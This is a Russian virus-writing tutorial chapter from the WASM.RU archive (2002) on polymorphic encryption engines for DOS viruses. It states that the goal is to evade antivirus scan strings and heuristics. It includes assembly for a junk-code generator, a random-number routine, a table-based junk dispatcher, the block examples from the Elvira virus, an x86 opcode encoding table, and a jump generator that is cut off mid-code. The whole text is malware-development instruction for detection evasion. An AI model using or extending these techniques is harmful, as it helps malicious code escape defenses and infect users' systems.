Путеводитель по написанию вирусов: 7. Полиморфизм

Дата публикации 1 сен 2002

Путеводитель по написанию вирусов: 7. Полиморфизм — Архив WASM.RU

Это одна из наиболее интересных вещей в вирусах. Также очень весело писать PER (Polymorрhic Encryрtion Routine). По ней можно понять "стиль" VXера, который ее написал. Также многие начинающие считают, что эта техника очень сложна и только опытные VXеры могут применять ее. HЕ ДУМАЙТЕ ТАК! Она очень проста. Hе бойтесь. Если вы дошли до этой главы, я уверен, что вы поймете ВСЕ. Эта глава является расширением главы "Шифрование".

Hаша цель - сделать PER: победить AV, минимизировав сканстроку, aka HАТЯHУТЬ ИХ ВСЕХ! :smile3: Идея состоит в том, чтобы генерировать разные декрипторы для каждого заражения, поэтому AV не смогут обнаружить наш вирус. А добавление невидимости, брони, антиэвристики и защиты от наживок сможет сделать ваш вирус очень мощным.

Ок, давайте начнем.

История

Первая попытка сделать PER была предпринята болгарским кодером, вероятно, одним из лучшим создателем вирусов, Dark Avenger'ом. Его вирусы были, есть и будут примером для всех VXеров. В своих самых первых вирусах, таких как Eddie, он показал высокий уровень кодинга. Он создал первый хороший PER в истории VX - MtE (Mutation Engine). Все AV-исследователи сходили с ума, пытаясь найти сканстроку для вирусах, основанных на этом движке. Hаконец им все-таки удалось найти надежную сканстроку, чтобы поймать его. Hо это было только начало. Masud Khafir, член исследовательской группы TridenT, специализирующейся на вирусах, разработал TPE, Dark Angel из Phalcon Skism разработал DAME (Dark Angel Multiрle Encryрtor) и многие другие исследователи вирусов создали множество других прекрасных движков. Когда мы говорим о полиморфных движках, мы должны помнить о том, что они были сделаны в 1992 году, очень много времени назад. Им нужно было бороться только со сканстроками.

Hо в наши дни у полиморфных движком есть множество врагов: анализаторы кода, эмуляторы, трейсеры, эвристики и опытные AVеры сражаются против нас. Сначала VXеры думали, что лучше всего делать декрипторы настолько изменчивыми, насколько возможно. Hо время показало, что это был неверный подход: AVеры заразят ТЫСЯЧИ наживок, чтобы увидеть все возможные декрипторы, которые PER может сгенерировать. Если мы покажем им лишь малую порцию наших возможных декрипторов (используя, например, дату для случайного выбора) мы обломим их ожидания. У них будет сканстрока, но в другом компьютере, в другой ситуации их сканстрока не будет работать. Это называется медленным полиморфизмом. Мы увидим это в другом месте в этой же главе.

Введение

Каждый кодер пишет свой полиморфный движок по-своему. Здесь я должен сказать, что использование чужих полиморфных движков - не такая хорошая идея, как могло бы показаться вначале. Очень легко написать достойный PER, в то время как использование чужого движка будет ограничивать вас при написании вируса.

Hам нужно сгенерировать декриптор, а также поместить мусор между опкодами, занимающимися расшифровкой, фальшивые переходы, вызовы, антиотладку и все, что мы еще можем захотеть... Давайте посмотрим, что мы должны поместить, чтобы сделать достойный PER...

  • Генерировать множество путей к одной цели
  • Менять порядок опкодов как только возможно
  • Hеобходимо, чтобы движок можно было использовать в других вирусах
  • Движок должен генерировать вызовы ничего не делающих функций INT 21h
  • Он должен генерировать вызовы ничего не делающих прерываний
  • Если мы хотим, мы можем сделать его медленнополиморфичным
  • Минимизировать все возможные сканстроки
  • Защитить генератор инструкций броней и сделать так, чтобы его было очень
  • трудно отладить

Когда вы пишете PER, воображение очень хороший помощник. Используйте его для того, чтобы придумать оригинальный подход.

Первые шаги в полиморфизме

Самый простой путь сделать декриптор, который меняет каждое поколение вирусов, это сделать генератор мусора, а затем поместить несколько инструкций декриптора, за которыми последуют ничего неделающие инструкции. Это первая попытка, которую вы можете сделать, если вы еще не создавали свой движок. Первый вид мусора - это простые однобайтовые инструкции, которые часто используются. Также мы должны сначала отобрать "мусорные" регистры. Я обычно использую AX, BX и DX.

Код (Text):
  1.  
  2.  OneByteTable:
  3.         db      09Eh                    ; sahf
  4.         db      090h                    ; nop
  5.         db      0F8h                    ; clc
  6.         db      0F9h                    ; stc
  7.         db      0F5h                    ; cmc
  8.         db      09Fh                    ; lahf
  9.         db      0CCh                    ; int 3h
  10.         db      048h                    ; dec ax
  11.         db      04Bh                    ; dec bx
  12.         db      04Ah                    ; dec dx
  13.         db      040h                    ; inc ax
  14.         db      043h                    ; inc bx
  15.         db      042h                    ; inc dx
  16.         db      098h                    ; cbw
  17.         db      099h                    ; cwd
  18.  EndOneByteTable:

С помощью простой процедуры, размещающей настоящие инструкции, и других, размещающих мусор, мы можем сделать очень простой полиморфный движок. Это полезно для наших первых шагов, но если вы хотите написать хороший вирус, вы должны знать одну вещь... если будет много ничего не делающих инструкций, то будьте уверены, что сработает эвристика... Hо как все же сгенерировать этот мусор? Очень просто:

Код (Text):
  1.  
  2.  GenerateOneByteJunk:
  3.         lea     si,OneByteTable         ; Смещение таблицы
  4.         call    random                  ; Должен генерировать случайные числа
  5.         and     ax,014h                 ; AX должен быть между 0 и 14 (15)
  6.         add     si,ax                   ; Добавьте AX (AL) к смещению
  7.         mov     al,[si]                 ; Поместите выбранный опкод в al
  8.         stosb                           ; И сохраните его в ES:DI (указывает
  9.                                         ; на инструкции декриптора)
  10.         ret

И, конечно, нам нужен генератор случайных чисел. Вот самый простой:

Код (Text):
  1.  
  2.  Random:
  3.         in      ax,40h                  ; В AX сгенерируется случайное
  4.         in      al,40h                  ; число
  5.         ret

С помощью вышеприведенных процедур мы можем сделать только очень плохой движок, поэтому наберитесь терпения и читайте следующие главы.

Hесколько способов сделать простую операцию

Есть практически бесконечное (не совсем точно... всего лишь миллион возможностей :smile3: ) способов выполнить задачу простой инструкции. Давайте представим "mov dx, 1234h" без использования другого регистра:

Код (Text):
  1.  
  2.         mov     dx,1234h
  3.  
  4.         push    1234h
  5.         pop     dx
  6.  
  7.         mov     dx,1234h xor 5678h
  8.         xor     dx,5678h
  9.  
  10.         mov     dh,12h
  11.         mov     dl,34h
  12.  
  13.         xor     dx,dx
  14.         or      dx,1234h
  15.  
  16.         mov     dx,not 1234h
  17.         not     dx
  18.         [...]

Мы можем сделать еще больше комбинаций. И, конечно, если мы используем другой регистр для выполнения нашей цели, возможности значительно возрастают.

Изменение порядка инструкций

Есть множество инструкций, которые мы можем расположить так, как нам это хочется, что, вкупе со способами выполнения простых инструкций, может сделать наш полиморфный движок действительно мощным.

Обычно почти все инструкции до цикла расшифровки можно располагать в любом порядке, исключая комбинации PUSH/POP и тому подобного.

Код (Text):
  1.  
  2.         mov     cx,encrypt_size
  3.         mov     si,encrypt_begin
  4.         mov     di,encrypt_key

Мы можем располагать эти инструкции в случайном порядке.

Код (Text):
  1.  
  2.         mov     di,encrypt_key
  3.         mov     cx,encrypt_size
  4.         mov     si,encrypt_begin

Hапример так или иным другим возможным способом.

Портабельность

Создать портабельный полиморфный движок очень просто - PER всего навсего должен уметь принимать и использовать параметры. Hапример, в CX мы можем поместить размер кода, который нужно закриптовать, в DS:DX - указатель на сам код и так далее. Таким образом мы сможем использовать наш движок в любом вирусе.

Таблицы против блоков

_ PER, основанные на таблице

Суть этого вида движков состоит в том, что имеется таблица смещений процедур, которые генерируют мусор (однобайтовые инструкции, фальшивые вызовы прерываний, математические операция...) в другой таблице. Затем, используя случайное значение, мы вызываем одно из этих смещений, после чего генерируется случайный мусор. Давайте взглянем на пример:

Код (Text):
  1.  
  2.  RandomJunk:
  3.         call    Random                  ; Случайное число в AX
  4.         and     ax,(EndRandomJunkTable-RandomJunkTable)/2
  5.         add     ax,ax                   ; AX*2
  6.         xchg    si,ax
  7.         add     si,offset RandomJunkTable ; Указывает на таблицу
  8.         lodsw
  9.         call    ax                      ; Вызов на случайное смещение в табл.
  10.         ret
  11.  
  12.  RandomJunkTable:
  13.         dw      offset GenerateOneByteJunk
  14.         dw      offset GenerateMovRegImm
  15.         dw      offset GenerateMovRegMem
  16.         dw      offset GenerateMathOp
  17.         dw      offset GenerateArmour
  18.         dw      offset GenerateCalls
  19.         dw      offset GenerateJumps
  20.         dw      offset GenerateINTs
  21.         [...]
  22.  EndRandomJunkTable:

Очень легко добавить новые процедуры в PER, основанный на таблице, и этот вид движков может быть очень сильно оптимизирован (в зависимости от кодера).

_ PER, основанный на блоках:

Hашей целью является сделать для каждой инструкции декриптора блок фиксированного размера. У нас есть один пример такого движка в вирусе Elvira, написанного Spanska и опубликованного в 29A#2. Давайте взглянем на пример такого блока в движке Elvira, где сравнивается CX с 0. У каждого блока фиксированный размер (6 байтов).

Код (Text):
  1.  
  2.         cmp cx, 0
  3.         nop
  4.         nop
  5.         nop
  6.  
  7.         nop
  8.         nop
  9.         nop
  10.         cmp cx, 0
  11.  
  12.         nop
  13.         or cx, cx
  14.         nop
  15.         nop
  16.         nop
  17.  
  18.         nop
  19.         nop
  20.         nop
  21.         or cx, cx
  22.         nop
  23.  
  24.         test cx, 0FFFFh
  25.         nop
  26.         nop
  27.  
  28.         or cl, cl
  29.         jne suite_or
  30.         or ch, ch
  31.         suite_or:
  32.  
  33.         mov bx, cx
  34.         inc bx
  35.         cmp bx, 1
  36.  
  37.         inc cx
  38.         cmp cx, 1
  39.         dec cx
  40.         nop
  41.  
  42.         dec cx
  43.         cmp cx, 0FFFFh
  44.         inc cx
  45.         nop

Как вы можете видеть, добавлять новые блоки для выполнения той же задачи очень легко. Однако у этих движков есть слабая сторона: размер. Движок Эльвиры занимает около половины размера вируса: весь вирус занимает 4250 байт, а движок весит 2000-2500. С другой стороны, чем больше блоков мы добавим, то тем больше возможностей будет у вируса, что позволит ему оставаться незамеченным AVерами :smile3:.

_ А победитель...

Я думаю, что лучший выход - это таблицы, потому что мы можем сгенерировать все возможные комбинации блоков и еще больше. Блоки являются более подходящим решением для всех людей, которые не хотят превращать свою жизнь в ад :smile3:.

Инструкции

Это база все полиморфных движков, способ генерировать инструкции со случайными регистрами, значениями, позициями памяти...

Код (Text):
  1.  
  2.  _ Обозначения:
  3.  
  4.  Symbol_        Explanation_
  5.   ______         ___________
  6.  imm8           byte immediate operand
  7.  imm16          word immediate operand
  8.  reg8           byte register operand
  9.  reg16          word register operand
  10.  mem8           byte memory operand
  11.  mem16          word memory operand
  12.  regmem8        byte reg/mem operand
  13.  regmem16       word reg/mem operand
  14.  d8             byte memory offset displacement
  15.  d16            word memory offset displacement
  16.  sig8           byte signed operand
  17.  sig16          word signed operand
  18.  sig32          offset:segment operand
  19.  ^0,^1, etc     Reg field of the RegInfo byte contains this num as Op. info
  20.  
  21.  RegInfoByte    needs the below fields
  22.  reg            a code that keeps the register to be used
  23.  sreg           a code that keeps the segment register
  24.  r/m            how is the instruction made ( based, indexed, two regs... )
  25.  mod            who makes the indexing ( DI, BP... )
  26.  dir            the direction
  27.  w              word mark
  28. <p>
  29.  OpCode skeleton_
  30.  
  31.  +-----------------------------------------------------------------------+
  32.  ¦     8 bits         2     3     3      8 or 16 bits     8 or 16 bits   ¦
  33.  ¦ +-------------+ +-----------------+ +--------------+ +--------------+ ¦
  34.  ¦ ¦ Instruction ¦ ¦ MOD ¦ REG ¦ R/M ¦ ¦ Displacement ¦ ¦     Data     ¦ ¦
  35.  ¦ +-------------+ +-----------------+ +--------------+ +--------------+ ¦
  36.  ¦     1 byte            1 byte          1 or 2 bytes     1 or 2 bytes   ¦
  37.  +-----------------------------------------------------------------------+
  38.  
  39.  Reg field_
  40.  
  41.  Reg value      . 00  01  02  03  04  05  06  07
  42.                   ..  ..  ..  ..  ..  ..  ..  ..
  43.  Byte registers . AL  CL  DL  BL  AH  CH  DH  BH
  44.  Word registers . AX  CX  DX  BX  SP  BP  SI  DI
  45.  Extended regs  . EAX ECX EDX EBX ESP EBP ESI EDI
  46.  
  47.  Как мы можем узнать, является ли pегистp байтом или словом? Легко, с помощью
  48.  w-байта. Если он установлен в 1, то это слово, а если это 0, то pечь идет о
  49.  байтовом регистре.
  50.  
  51.  Sreg field_
  52.   __________
  53.  
  54.  Sreg value . 01 03 05 07
  55.               .. .. .. ..
  56.  Segment    . ES CS SS DS
  57.  
  58.  R/M field and Mod field_
  59.   _______________________
  60.  
  61.  R/M value . 00  Mod
  62.                  ...
  63.                  000 . [BX+SI]
  64.                  001 . [BX+DI]
  65.                  010 . [BP+SI]
  66.                  011 . [BP+DI]
  67.                  100 . [SI]
  68.                  101 . [DI]
  69.                  110 . d16
  70.                  111 . [BX]
  71.  
  72.  R/M value . 01  Mod
  73.                  ...
  74.                  000 . [BX+SI+d8]
  75.                  001 . [BX+DI+d8]
  76.                  010 . [BP+SI+d8]
  77.                  011 . [BP+DI+d8]
  78.                  100 . [SI+d8]
  79.                  101 . [DI+d8]
  80.                  110 . [BP+d8]
  81.                  111 . [BX+d8]
  82.  
  83.  R/M value . 10  Mod
  84.                  ...
  85.                  000 . [BX+SI+d16]
  86.                  001 . [BX+DI+d16]
  87.                  010 . [BP+SI+d16]
  88.                  011 . [BP+DI+d16]
  89.                  100 . [SI+d16]
  90.                  101 . [DI+d16]
  91.                  110 . [BP+d16]
  92.                  111 . [BX+d16]
  93.  
  94.  R/M value . 11  Mod   Byte Word
  95.                  ...    ..   ..
  96.                  000 .  AL   AX
  97.                  001 .  CL   CX
  98.                  010 .  DL   DX
  99.                  011 .  BL   BX
  100.                  100 .  AH   SP
  101.                  101 .  CH   BP
  102.                  110 .  DH   SI
  103.                  111 .  BH   DI
  104.  
  105.  Direction field_                
  106.  
  107.  Если равно 0, то идет перемещение из регистра в mod, если 1, то обратно, но
  108.  обратите внимание на то, что TBSCAN выдаст предупреждение, если это поле у
  109.  инструкции будет равно нулю, потому что такое никогда не будет сгенерировано
  110.  ассемблером.
  111.  
  112.  _ Опкоды:
  113.  
  114.  +-------+
  115.  ¦. MOV .¦
  116.  +-------+
  117.  
  118.  Эта инструкция наиболее часто используется в ассемблере. Также эту инструкцию
  119.  можно закодировать наибольшим количеством вариантов. ОСТЕРЕГАЙТЕСЬ! У нее
  120.  есть несколько оптимизированных вариантов, например для AL/AX. Вы должны
  121.  сделать такой же код для этих регистров, какой генерируется ассемблером,
  122.  иначем эвристический анализатор поимеет ваш код!
  123.  
  124.  MOV reg8,imm8        . B0+RegByte imm8
  125.  MOV reg16,imm16      . B8+RegWord imm16
  126.  MOV AL,mem8          . A0 mem8
  127.  MOV AX,mem16         . A1 mem16
  128.  MOV mem8,AL          . A2 mem8
  129.  MOV mem16,AX         . A3 mem16
  130.  MOV reg8,regmem8     . 8A RegInfoByte
  131.  MOV reg16,regmem16   . 8B RegInfoByte
  132.  MOV regmem8,reg8     . 88 RegInfoByte
  133.  MOV regmem16,reg16   . 89 RegInfoByte
  134.  MOV regmem8,imm8     . C6 ^0
  135.  MOV regmem16,imm16   . C7 ^0
  136.  MOV reg16,segmentreg . 8C RegInfoByte
  137.  MOV segmentreg,reg16 . 8E RegInfoByte
  138.  
  139.  +--------+
  140.  ¦. XCHG .¦
  141.  +--------+
  142.  
  143.  Как и MOV-инструкция, этот опкод оптимизирован для использования AX.
  144.  
  145.  XCHG AX,reg16       . 90+RegWord
  146.  XCHG reg8,regmem8   . 86 RegInfoByte
  147.  XCHG regmem8,reg8   . 86 RegInfoByte
  148.  XCHG reg16,regmem16 . 87 RegInfoByte
  149.  XCHG regmem16,reg16 . 87 RegInfoByte
  150.  
  151.  +---------------------+
  152.  ¦. Segment Overrides .¦
  153.  +---------------------+
  154.  
  155.  Это не полноценные инструкции, а префиксы, поэтому данные опкоды должны
  156.  находиться перед инструкцией.
  157.  
  158.  SEGCS . 2E
  159.  SEGDS . 3E
  160.  SEGES . 26
  161.  SEGSS . 36
  162.  
  163.  +--------------------+
  164.  ¦. Stack Operations .¦
  165.  +--------------------+
  166.  
  167.  Это инструкции используемые для того, чтобы получать/помещать/манипулировать
  168.  значениями в/из стека.
  169.  
  170.  PUSH reg16    . 50+RegWord
  171.  PUSH regmem16 . FF ^6
  172.  PUSH imm8     . 6A imm8
  173.  PUSH imm16    . 68 imm16
  174.  PUSH CS       . 0E
  175.  PUSH DS       . 1E
  176.  PUSH ES       . 06
  177.  PUSH SS       . 16
  178.  PUSHA         . 60
  179.  PUSHF         . 9C
  180.  POP reg16     . 58+RegWord
  181.  POP regmem16  . 8F ^0 imm16
  182.  POP DS        . 1F
  183.  POP ES        . 07
  184.  POP SS        . 17
  185.  POPA          . 61
  186.  POPF          . 9D
  187.  
  188.  +-------------------+
  189.  ¦. Flag Operations .¦
  190.  +-------------------+
  191.  
  192.  Все эти инструкции однобайтовые, поэтому они действительно хороши для
  193.  генераторов мусора, но будьте осторожны с некоторыми инструкциями, такими
  194.  как STD и STI.
  195.  
  196.  CLI  . FA
  197.  STI  . FB
  198.  CLD  . FC
  199.  STD  . FD
  200.  CLC  . F8
  201.  STC  . F9
  202.  CMC  . F5
  203.  SAHF . 9E
  204.  LAHF . 9F
  205.  
  206.  Logical instructions_
  207.   ____________________
  208.  +-------+
  209.  ¦. XOR .¦
  210.  +-------+
  211.  
  212.  XOR AL,imm8        . 34 imm8
  213.  XOR AX,imm16       . 35 imm16
  214.  XOR reg8,regmem8   . 32 RegInfoByte
  215.  XOR reg16,regmem16 . 33 RegInfoByte
  216.  XOR regmem8,reg8   . 30 RegInfoByte
  217.  XOR regmem16,reg16 . 31 RegInfoByte
  218.  XOR regmem8,imm8   . 80 ^6 imm8
  219.  XOR regmem16,imm8  . 83 ^6 imm8
  220.  XOR regmem16,imm16 . 81 ^6 imm16
  221.  
  222.  +------+
  223.  ¦. OR .¦
  224.  +------+
  225.  
  226.  OR AL,imm8        . 0C imm8
  227.  OR AX,imm16       . 0D imm16
  228.  OR reg8,regmem8   . 0A RegInfoByte
  229.  OR reg16,regmem16 . 0B RegInfoByte
  230.  OR regmem8,reg8   . 08 RegInfoByte
  231.  OR regmem16,reg16 . 09 RegInfoByte
  232.  OR regmem8,imm8   . 80 ^1 imm8
  233.  OR regmem16,imm8  . 83 ^1 imm8
  234.  OR regmem16,imm16 . 81 ^1 imm16
  235.  
  236.  +-------+
  237.  ¦. AND .¦
  238.  +-------+
  239.  
  240.  AND AL,imm8        . 24 imm8
  241.  AND AX,imm16       . 25 imm16
  242.  AND reg8,regmem8   . 22 RegInfoByte
  243.  AND reg16,regmem16 . 23 RegInfoByte
  244.  AND regmem8,reg8   . 20 RegInfoByte
  245.  AND regmem16,reg16 . 21 RegInfoByte
  246.  AND regmem8,imm8   . 80 ^4 imm8
  247.  AND regmem16,imm8  . 83 ^4 imm8
  248.  AND regmem16,imm16 . 81 ^4 imm16
  249.  
  250.  +-------+
  251.  ¦. NOT .¦
  252.  +-------+
  253.  
  254.  NOT regmem8  . F6 ^2
  255.  NOT regmem16 . F7 ^2
  256.  
  257.  +-------+
  258.  ¦. NEG .¦
  259.  +-------+
  260.  
  261.  NEG regmem8  . F6 ^3
  262.  NEG regmem16 . F7 ^3
  263.  
  264.  +--------+
  265.  ¦. TEST .¦
  266.  +--------+
  267.  
  268.  TEST AL,imm8        . A8 imm8
  269.  TEST AL,imm16       . A9 imm16
  270.  TEST regmem8,reg8   . 84 RegInfoByte
  271.  TEST regmem16,reg16 . 85 RegInfoByte
  272.  TEST regmem8,imm8   . F6 ^0 imm8
  273.  TEST regmem16,imm16 . F7 ^0 imm16
  274.  
  275.  +-------+
  276.  ¦. CMP .¦
  277.  +-------+
  278.  
  279.  CMP AL,imm8        . 3C imm8
  280.  CMP AX,imm16       . 3D imm16
  281.  CMP reg8,regmem8   . 3A RegInfoByte
  282.  CMP reg16,regmem16 . 3B RegInfoByte
  283.  CMP regmem8,reg8   . 38 RegInfoByte
  284.  CMP regmem16,reg16 . 39 RegInfoByte
  285.  CMP regmem8,imm8   . 80 ^7 imm8
  286.  CMP regmem16,imm8  . 83 ^7 imm8
  287.  CMP regmem16,imm16 . 81 ^7 imm16
  288.  
  289.  Arithmetic instructions_
  290.   _______________________
  291.  +-------+
  292.  ¦. ADD .¦
  293.  +-------+
  294.  
  295.  ADD AL,imm8        . 04 imm8
  296.  ADD AX,imm16       . 05 imm16
  297.  ADD reg8,regmem8   . 02 RegInfoByte
  298.  ADD reg16,rm16     . 03 RegInfoByte
  299.  ADD regmem8,reg8   . 00 RegInfoByte
  300.  ADD regmem16,reg16 . 01 RegInfoByte
  301.  ADD regmem8,imm8   . 80 ^0 imm8
  302.  ADD regmem16,imm8  . 83 ^0 imm8
  303.  ADD regmem16,imm16 . 81 ^0 imm16
  304.  
  305.  +-------+
  306.  ¦. SUB .¦
  307.  +-------+
  308.  
  309.  SUB AL,imm8        . 2C imm8
  310.  SUB AX,imm16       . 2D imm16
  311.  SUB reg8,regmem8   . 2A RegInfoByte
  312.  SUB reg16,regmem16 . 2B RegInfoByte
  313.  SUB regmem8,reg8   . 28 RegInfoByte
  314.  SUB regmem16,reg16 . 29 RegInfoByte
  315.  SUB regmem8,imm8   . 80 ^5 imm8
  316.  SUB regmem16,imm8  . 83 ^5 imm8
  317.  SUB regmem16,imm16 . 81 ^5 imm16
  318.  
  319.  +-------+
  320.  ¦. ADC .¦
  321.  +-------+
  322.  
  323.  ADC AL,imm8        . 14 imm8
  324.  ADC AX,imm16       . 15 imm16
  325.  ADC reg8,regmem8   . 12 RegInfoByte
  326.  ADC reg16,regmem16 . 13 RegInfoByte
  327.  ADC regmem8,reg8   . 10 RegInfoByte
  328.  ADC regmem16,reg16 . 11 RegInfoByte
  329.  ADC regmem8,imm8   . 80 ^2 imm8
  330.  ADC regmem16,imm8  . 83 ^2 imm8
  331.  ADC regmem16,imm16 . 81 ^2 imm16
  332.  
  333.  +-------+
  334.  ¦. SBB .¦
  335.  +-------+
  336.  
  337.  SBB AL,imm8        . 1C ib
  338.  SBB AX,imm16       . 1D iw
  339.  SBB reg8,regmem8   . 1A RegInfoByte
  340.  SBB reg16,regmem16 . 1B RegInfoByte
  341.  SBB regmem8,reg8   . 18 RegInfoByte
  342.  SBB regmem16,reg16 . 19 RegInfoByte
  343.  SBB regmem8,imm8   . 80 ^3 imm8
  344.  SBB regmem16,imm8  . 83 ^3 imm8
  345.  SBB regmem16,imm16 . 81 ^3 imm16
  346.  
  347.  +-------+
  348.  ¦. INC .¦
  349.  +-------+
  350.  
  351.  INC reg16    . 40+RegWord
  352.  INC regmem8  . FE ^0
  353.  INC regmem16 . FF ^0
  354.  
  355.  +-------+
  356.  ¦. DEC .¦
  357.  +-------+
  358.  
  359.  DEC reg16    . 48+RegWord
  360.  DEC regmem8  . FE ^1
  361.  DEC regmem16 . FF ^1
  362.  
  363.  +-------+
  364.  ¦. MUL .¦
  365.  +-------+
  366.  
  367.  MUL regmem8  . F6 ^4
  368.  MUL regmem16 . F7 ^4
  369.  
  370.  +-------+
  371.  ¦. DIV .¦
  372.  +-------+
  373.  
  374.  DIV regmem8  . F6 ^6
  375.  DIV regmem16 . F7 ^6
  376.  
  377.  +--------+
  378.  ¦. IMUL .¦
  379.  +--------+
  380.  
  381.  IMUL regmem8              . F6 ^5
  382.  IMUL regmem16             . F7 ^5
  383.  IMUL reg16,regmem16,imm16 . 69 imm16
  384.  IMUL reg16,regmem16,imm8  . 6B imm8
  385.  
  386.  +--------+
  387.  ¦. IDIV .¦
  388.  +--------+
  389.  
  390.  IDIV regmem8  . F6 ^7
  391.  IDIV regmem16 . F7 ^7
  392.  
  393.  Shifting instructions_
  394.   _____________________
  395.  +-------+
  396.  ¦. SHL .¦
  397.  +-------+
  398.  
  399.  SHL regmem8,1     . D0 ^4
  400.  SHL regmem16,1    . D1 ^4
  401.  SHL regmem8,CL    . D2 ^4
  402.  SHL regmem16,CL   . D3 ^4
  403.  SHL regmem8,imm8  . C0 ^4 imm8
  404.  SHL regmem16,imm8 . C1 ^4 imm8
  405.  
  406.  +-------+
  407.  ¦. SHR .¦
  408.  +-------+
  409.  
  410.  SHR regmem8,1     . D0 ^5
  411.  SHR regmem16,1    . D1 ^5
  412.  SHR regmem8,CL    . D2 ^5
  413.  SHR regmem16,CL   . D3 ^5
  414.  SHR regmem8,imm8  . C0 ^5 imm8
  415.  SHR regmem16,imm8 . C1 ^5 imm8
  416.  
  417.  +-------+
  418.  ¦. SAL .¦
  419.  +-------+
  420.  
  421.  SAL regmem8,1     . D0 ^4
  422.  SAL regmem16,1    . D1 ^4
  423.  SAL regmem8,CL    . D2 ^4
  424.  SAL regmem16,CL   . D3 ^4
  425.  SAL regmem8,imm8  . C0 ^4 imm8
  426.  SAL regmem16,imm8 . C1 ^4 imm8
  427.  
  428.  +-------+
  429.  ¦. SAR .¦
  430.  +-------+
  431.  
  432.  SAR regmem8,1     . D0 ^7
  433.  SAR regmem16,1    . D1 ^7
  434.  SAR regmem8,CL    . D2 ^7
  435.  SAR regmem16,CL   . D3 ^7
  436.  SAR regmem8,imm8  . C0 ^7 imm8
  437.  SAR regmem16,imm8 . C1 ^7 imm8
  438.  
  439.  +-------+
  440.  ¦. ROL .¦
  441.  +-------+
  442.  
  443.  ROL regmem8,1     . D0 ^0
  444.  ROL regmem16,1    . D1 ^0
  445.  ROL regmem8,CL    . D2 ^0
  446.  ROL regmem16,CL   . D3 ^0
  447.  ROL regmem8,imm8  . C0 ^0 imm8
  448.  ROL regmem16,imm8 . C1 ^0 imm8
  449.  
  450.  +-------+
  451.  ¦. ROR .¦
  452.  +-------+
  453.  
  454.  ROR regmem8,1     . D0 ^1
  455.  ROR regmem16,1    . D1 ^1
  456.  ROR regmem8,CL    . D2 ^1
  457.  ROR regmem16,CL   . D3 ^1
  458.  ROR regmem8,imm8  . C0 ^1 imm8
  459.  ROR regmem16,imm8 . C1 ^1 imm8
  460.  
  461.  +-------+
  462.  ¦. RCL .¦
  463.  +-------+
  464.  
  465.  RCL regmem8,1     . D0 ^2
  466.  RCL regmem16,1    . D1 ^2
  467.  RCL regmem8,CL    . D2 ^2
  468.  RCL regmem16,CL   . D3 ^2
  469.  RCL regmem8,imm8  . C0 ^2 imm8
  470.  RCL regmem16,imm8 . C1 ^2 imm8
  471.  
  472.  +-------+
  473.  ¦. RCR .¦
  474.  +-------+
  475.  
  476.  RCR regmem8,1     . D0 ^3
  477.  RCR regmem16,1    . D1 ^3
  478.  RCR regmem8,CL    . D2 ^3
  479.  RCR regmem16,CL   . D3 ^3
  480.  RCR regmem8,imm8  . C0 ^3 imm8
  481.  RCR regmem16,imm8 . C1 ^3 imm8

Jumps, Calls and Rets_

Я должен остановиться здесь и рассказать о нескольких интересных вещах. Смещение перехода высчитывается от первого байта, следующего за инструкцией перехода, например, если у нас есть E9 00 00 (JUMP NEAR), мы переходим непосредственно к следующей инструкции, следующей за инструкцией перехода. Таким образом, JMP 0001 прыгнет через байт после jmр. Hо... Что, если мы прыгнем назад. Очень просто. Если сделать JMP FFFF, мы перейдем к данным, и программа, очевидно, повиснет. Мы можем использовать следующую формулу, где X - конечный pезультат, а X' поможет нам сделать наши вычисления.

Код (Text):
  1.  
  2.  X' = jump address - destination address + 2
  3.  X  = NEG X'
  4.  
  5.  +-----------------------+
  6.  ¦. Unconditional Jumps .¦
  7.  +-----------------------+
  8.  
  9.  JMP sig16 ( SHORT ) . E9 sig16
  10.  JMP sig32 ( FAR )   . EA sig32
  11.  JMP sig8 ( NEAR )   . EB sig8
  12.  JMP regmem16        . FF ^4
  13.  JMP FAR mem16:16    . FF ^5
  14.  
  15.  +---------------------+
  16.  ¦. Conditional Jumps .¦
  17.  +---------------------+
  18.  
  19.  JO sig8   . 70 sig8
  20.  JNO sig8  . 71 sig8
  21.  JB sig8   . 72 sig8
  22.  JAE sig8  . 73 sig8
  23.  JZ sig8   . 74 sig8
  24.  JNZ sig8  . 75 sig8
  25.  JBE sig8  . 76 sig8
  26.  JA sig8   . 77 sig8
  27.  JS sig8   . 78 sig8
  28.  JNS sig8  . 79 sig8
  29.  JPE sig8  . 7A sig8
  30.  JPO sig8  . 7B sig8
  31.  JL sig8   . 7C sig8
  32.  JGE sig8  . 7D sig8
  33.  JLE sig8  . 7E sig8
  34.  JG sig8   . 7F sig8
  35.  JCXZ sig8 . E3 sig8
  36.  
  37.  +--------------+
  38.  ¦. Call stuff .¦
  39.  +--------------+
  40.  
  41.  CALL sig32        . 9A sig32
  42.  CALL sig16        . E8 sig16
  43.  CALL regmem16     . FF ^2
  44.  CALL FAR mem16:16 . FF ^3
  45.  
  46.  +-----------+
  47.  ¦. Returns .¦
  48.  +-----------+
  49.  
  50.  RETN . C3
  51.  RETF . CB
  52.  IRET . CF
  53.  
  54.  +--------------+
  55.  ¦. Loop stuff .¦
  56.  +--------------+
  57.  
  58.  LOOPNE/LOOPNZ sig8 . E0 cb
  59.  LOOPE/LOOPZ sig8   . E1 cb
  60.  LOOP sig8          . E2 cb
  61. <p>
  62.  Miscellaneous_
  63. <p>
  64.  +---------+
  65.  ¦. Loads .¦
  66.  +---------+
  67.  
  68.  LEA reg16,regmem16 . 8D RegInfoByte
  69.  LDS reg16,mem16:16 . C4 RegInfoByte
  70.  LES reg16,mem16:16 . C5 RegInfoByte

Генерация переходов и вызовов

Это очень важно, если вы хотите сделать так, чтобы код, генерируемый вашим PER, выглядел "более настоящим" на взгляд ламера ;).

_ Переходы:

Создание переходов очень просто и очень полезно. Старайтесь избегать ничего не делающих переходов, таких как JMP 0000, потому что эвристик, скорее всего, выдаст предупреждение, если наткнется на один из них. Мы должны делать инструкции как можно более естественными. И... где вы видели переход на следующий опкод? :smile3: Для создания переходов вам нужно быть достаточно внимательным со смещением, так как если вы сделаете его слишком малым или большим, компьютер может повиснуть. Hеплохо делать смещения переходов различными (от 1 до 5 будет достаточно), а внутри располагать мусорные инструкции. Сделайте процедуру, чтобы быть уверенными, что переходы ведут в правильное место. Помните: воображение - наше лучшее оружие.

Давайте взглянем на очень простой Jx (условный переход) генератор. Это просто.

Код (Text):
  1.  
  2.  generate_jx:
  3.         call    random                  ; Процедура генерации случайных чисел
  4.         and     al,0Fh                  ; Число между 0..16
  5.         add     al,70h                  ; Добавляем 70 для инструкций
  6.                                         ; получения
  7.         stosb                           ; Помещаем AL в ES:DI
  8.         xor     ax,ax                   ; Делаем AL = 00
